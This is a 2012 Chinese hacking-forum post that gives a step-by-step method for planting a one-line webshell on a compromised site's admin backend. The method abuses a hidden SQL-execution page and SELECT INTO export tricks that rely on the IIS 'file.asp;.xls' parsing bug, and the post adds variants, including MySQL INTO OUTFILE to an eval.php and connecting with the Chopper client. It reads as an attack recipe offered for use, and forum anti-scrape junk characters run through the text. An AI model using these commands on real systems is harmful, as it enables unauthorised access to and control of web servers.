找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2282|回复: 0
打印 上一主题 下一主题

ACCESS执行SQL命令导出一句话SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:53:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好不容易进了后台,发现啥上传啊。备份啊多木有。
' e) K0 u' |% F- a7 twebshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的: _8 P! _3 i* _  s6 M+ A/ q! n
文件。可后台没显示这功能。直接填上文件名字,执行命令的选项出来了,3 ]- ]$ w" t/ O( j# o& w
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下:& L2 Q$ ?; L! |# A* K( }: l
1.create table cmd (a varchar(50))
# u8 s# m( s4 q/ M2.insert into cmd (a) values (‘‘)& v2 G; X' q) t% @( S$ o
3.select * into [a] in ‘D:\wwwroot\www.koohik.com\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
/ D, c. n4 X( |4 `  J9 d: Z0 o(把表cmd的内容导出为物理路径的一个EXCEL文件)
1 w% G9 G$ f0 H4.drop table cmd  a0 N8 s: B  d% X, A* c. i
利用IIS的BUG成功拿到了WEBSHELL。( E2 J+ X- s  \- ?; _! u
5 ^2 d: O: C5 r* n; s
直接菜刀里连接http://www.chouwazi.com/data/xiao.asp;xiao.xls一句话
7 L* s, g+ f1 E! a5 u! n, ~4 I  \7 J! x5 \$ z+ n' t8 s0 N. @
  SQL语句意思解释:) d+ W5 x% G! ^! J+ c1 L3 e
  第一句$ I9 l: V2 G* r7 g
  建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
) A" g) K! s2 {! |8 M( q. F+ H0 L
5 B" ?$ @$ M+ G3 I: ]( L  第二句% i7 X2 J  c4 J' J, l3 Q
  在表cmd的a字段插入一句话木马
8 T0 n5 q# |+ J( _7 ~1 o2 ~  第三句3 f' {4 R9 D& F+ x) u' @$ S7 x9 ^* Z4 {
  把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件/ u! C6 R$ V, \: f5 J
( o$ q1 P& g/ n  ?( k. Y( |$ _
  第四句
8 {2 @, Z9 P- G8 b4 q  删除建立的cmd表
5 B8 H. k# E- L; N0 u; }. u, \5 V( }7 P6 a/ J
  以下内容为测试:1 d! `( i) a$ \
  Access利用后台SQL执行命令功能导出WebShell:) V3 H& X/ X) J3 E* k* |8 f
  这个更简单:
0 G/ u, C, z+ w- X/ x( M  [ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]
8 b( I2 k  A, Q* d  或者- U, f+ F. N& P1 X) e
  [ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
' ?5 S& {. A; t5 {- E2 _( D. s# b1 C+ Y' H; s0 ~9 v
  后台有执行SQL语句功能(vote为已知表段)
5 J- ]" ^: H8 ]/ j  希望对大家有所帮助拿shell的又一个思路5 X3 f8 X0 v4 R' Z% O5 p7 m/ c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表